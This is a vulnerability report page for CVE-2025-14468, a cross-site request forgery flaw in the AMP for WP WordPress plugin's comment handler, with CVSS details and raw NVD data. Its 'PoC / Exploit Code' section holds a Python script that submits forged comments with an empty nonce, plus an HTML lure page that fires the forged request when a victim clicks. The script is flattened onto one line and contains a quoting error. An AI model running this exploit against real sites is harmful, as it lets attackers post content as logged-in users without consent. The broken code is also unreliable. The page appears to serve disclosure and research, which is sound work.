Security Vulnerability Report
中文
CVE-2025-14468 CVSS 4.3 MEDIUM

CVE-2025-14468

Published: 2026-01-07 12:16:55
Last Modified: 2026-04-15 00:35:42

Description

The AMP for WP – Accelerated Mobile Pages plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.1.9. This is due to inverted nonce verification logic in the amp_theme_ajaxcomments AJAX handler, which rejects requests with VALID nonces and accepts requests with MISSING or INVALID nonces. This makes it possible for unauthenticated attackers to submit comments on behalf of logged-in users via a forged request granted they can trick a user into performing an action such as clicking on a link, and the plugin's template mode is enabled.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

AMP for WP plugin < 1.1.9 (all versions up to and including 1.1.9)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-14468 PoC - CSRF to submit comments as logged-in user # Target: WordPress site with AMP for WP plugin (<= 1.1.9) # Condition: Plugin template mode must be enabled def exploit_csrf(target_url, comment_text): """ Exploit CSRF vulnerability in AMP for WP plugin's amp_theme_ajaxcomments handler The nonce verification logic is inverted - valid nonces are rejected, invalid are accepted """ # AJAX endpoint for comment submission ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Construct the malicious request # Note: The vulnerability accepts requests WITHOUT valid nonce data = { 'action': 'amp_theme_ajaxcomments', 'comment_post_ID': '1', # Target post ID 'comment': comment_text, 'email': '[email protected]', 'url': 'https://malicious-site.com', 'author': 'Attacker Name', # Intentionally omit or provide invalid nonce - it will be accepted 'comment_nonce': '' # Empty nonce - will pass due to inverted logic } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Referer': target_url } try: response = requests.post(ajax_url, data=data, headers=headers, timeout=10) print(f"[*] Request sent to {ajax_url}") print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text[:500]}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None # HTML payload for social engineering html_payload = ''' <!DOCTYPE html> <html> <head><title>Interesting Article</title></head> <body> <h1>Check out this amazing article!</h1> <p>Click the link below:</p> <a href="javascript:void(0)" onclick="submitComment()">Click Here</a> <script> function submitComment() {{ // Automatically submit forged comment request var xhr = new XMLHttpRequest(); xhr.open("POST", "https://target-site.com/wp-admin/admin-ajax.php", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send("action=amp_theme_ajaxcomments&comment_post_ID=1&comment=Spam+Comment&comment_nonce="); alert("Done!"); }} </script> </body> </html> ''' if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-14468.py <target_url> <comment_text>") print("Example: python cve-2025-14468.py https://example.com "Spam content"") sys.exit(1) target = sys.argv[1] comment = sys.argv[2] exploit_csrf(target, comment)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14468", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:55.210", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The AMP for WP – Accelerated Mobile Pages plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.1.9. This is due to inverted nonce verification logic in the amp_theme_ajaxcomments AJAX handler, which rejects requests with VALID nonces and accepts requests with MISSING or INVALID nonces. This makes it possible for unauthenticated attackers to submit comments on behalf of logged-in users via a forged request granted they can trick a user into performing an action such as clicking on a link, and the plugin's template mode is enabled."}, {"lang": "es", "value": "El plugin AMP for WP – Accelerated Mobile Pages para WordPress es vulnerable a la falsificación de petición en sitios cruzados en versiones hasta la 1.1.9, inclusive. Esto se debe a una lógica de verificación de nonce invertida en el manejador AJAX amp_theme_ajaxcomments, que rechaza las peticiones con nonces VÁLIDOS y acepta las peticiones con nonces FALTANTES o INVÁLIDOS. Esto permite a atacantes no autenticados enviar comentarios en nombre de usuarios con sesión iniciada a través de una petición falsificada, siempre que puedan engañar a un usuario para que realice una acción como hacer clic en un enlace, y el modo de plantilla del plugin esté habilitado."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/accelerated-mobile-pages/tags/1.1.9/templates/template-mode/template-mode.php#L119", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/accelerated-mobile-pages/tags/1.1.9/templates/template-mode/template-mode.php#L50", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/accelerated-mobile-pages/tags/1.1.9/templates/template-mode/template-mode.php#L698", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3426181%40accelerated-mobile-pages%2Ftrunk&old=3402644%40accelerated-mobile-pages%2Ftrunk&sfp_email=&sfph_mail=#file4", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0d195034-4617-474d-a4b1-b299c1607f89?source=cve", "source": "[email protected]"}]}}